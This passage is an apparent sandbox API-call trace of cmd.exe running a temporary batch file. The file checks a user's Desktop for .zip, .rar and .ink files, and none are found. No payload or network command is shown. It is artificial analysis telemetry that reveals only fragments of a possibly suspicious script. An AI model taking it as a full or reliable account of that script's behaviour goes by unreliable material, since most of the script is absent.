out: lpWideCharStr="IF EXIST *.zip goto zip\r\n") returned 25 [0037.055] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.055] GetFileType (hFile=0x74) returned 0x1 [0037.055] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.055] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.055] GetProcessHeap () returned 0x4e0000 [0037.055] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.055] GetProcessHeap () returned 0x4e0000 [0037.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.055] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.055] GetProcessHeap () returned 0x4e0000 [0037.055] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.055] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.055] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.055] GetProcessHeap () returned 0x4e0000 [0037.055] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.055] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.056] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.056] GetProcessHeap () returned 0x4e0000 [0037.056] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.056] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.056] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.056] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.056] GetProcessHeap () returned 0x4e0000 [0037.056] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.056] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.056] GetProcessHeap () returned 0x4e0000 [0037.056] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.056] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.056] GetProcessHeap () returned 0x4e0000 [0037.056] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.057] GetProcessHeap () returned 0x4e0000 [0037.057] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.058] _tell (_FileHandle=3) returned 79 [0037.058] _close (_FileHandle=3) returned 0 [0037.058] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0037.058] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.058] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.058] GetLastError () returned 0x2 [0037.058] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.058] GetLastError () returned 0x6 [0037.058] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.058] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.059] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.059] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.059] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.059] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.059] SetConsoleInputExeNameW () returned 0x1 [0037.059] GetConsoleOutputCP () returned 0x1b5 [0037.059] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.059] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.060] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.060] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.060] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.060] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.060] GetProcessHeap () returned 0x4e0000 [0037.060] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.061] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.061] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.061] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.061] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n") returned 2 [0037.061] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.061] GetFileType (hFile=0x74) returned 0x1 [0037.061] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.061] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.061] GetProcessHeap () returned 0x4e0000 [0037.061] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.061] GetProcessHeap () returned 0x4e0000 [0037.061] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.061] _tell (_FileHandle=3) returned 81 [0037.061] _close (_FileHandle=3) returned 0 [0037.061] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.062] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0037.062] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n") returned 25 [0037.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.062] GetFileType (hFile=0x74) returned 0x1 [0037.062] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.062] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.062] GetProcessHeap () returned 0x4e0000 [0037.062] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.062] GetProcessHeap () returned 0x4e0000 [0037.062] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.062] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.062] GetProcessHeap () returned 0x4e0000 [0037.062] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.063] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.063] GetProcessHeap () returned 0x4e0000 [0037.063] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.063] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.063] GetProcessHeap () returned 0x4e0000 [0037.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.063] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.063] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.063] GetProcessHeap () returned 0x4e0000 [0037.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.063] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.063] GetProcessHeap () returned 0x4e0000 [0037.063] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.063] GetProcessHeap () returned 0x4e0000 [0037.063] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.064] GetProcessHeap () returned 0x4e0000 [0037.064] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.065] _tell (_FileHandle=3) returned 106 [0037.065] _close (_FileHandle=3) returned 0 [0037.065] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0037.065] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.065] GetLastError () returned 0x2 [0037.065] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.065] GetLastError () returned 0x6 [0037.065] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.065] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.066] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.066] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.066] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.066] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.066] SetConsoleInputExeNameW () returned 0x1 [0037.066] GetConsoleOutputCP () returned 0x1b5 [0037.066] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.066] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.067] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.067] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.067] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.067] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.067] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.067] GetProcessHeap () returned 0x4e0000 [0037.068] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0037.068] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n") returned 2 [0037.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.068] GetFileType (hFile=0x74) returned 0x1 [0037.068] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.068] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.068] GetProcessHeap () returned 0x4e0000 [0037.068] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.068] GetProcessHeap () returned 0x4e0000 [0037.068] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.068] _tell (_FileHandle=3) returned 108 [0037.068] _close (_FileHandle=3) returned 0 [0037.069] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.069] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0037.069] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n") returned 25 [0037.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.069] GetFileType (hFile=0x74) returned 0x1 [0037.069] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.069] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.069] GetProcessHeap () returned 0x4e0000 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.070] GetProcessHeap () returned 0x4e0000 [0037.070] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.070] GetProcessHeap () returned 0x4e0000 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.070] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.070] GetProcessHeap () returned 0x4e0000 [0037.070] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.070] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.070] GetProcessHeap () returned 0x4e0000 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.070] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.070] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.070] GetProcessHeap () returned 0x4e0000 [0037.070] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.071] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.071] GetProcessHeap () returned 0x4e0000 [0037.071] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.071] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.071] GetProcessHeap () returned 0x4e0000 [0037.071] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.071] GetProcessHeap () returned 0x4e0000 [0037.071] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.073] _tell (_FileHandle=3) returned 133 [0037.073] _close (_FileHandle=3) returned 0 [0037.073] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0037.073] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.073] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.073] GetLastError () returned 0x2 [0037.073] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.073] GetLastError () returned 0x6 [0037.073] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.073] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.074] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.074] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.074] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.074] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.074] SetConsoleInputExeNameW () returned 0x1 [0037.074] GetConsoleOutputCP () returned 0x1b5 [0037.074] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.074] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.075] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.075] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.075] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.075] GetProcessHeap () returned 0x4e0000 [0037.076] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.076] GetProcessHeap () returned 0x4e0000 [0037.076] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0037.076] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 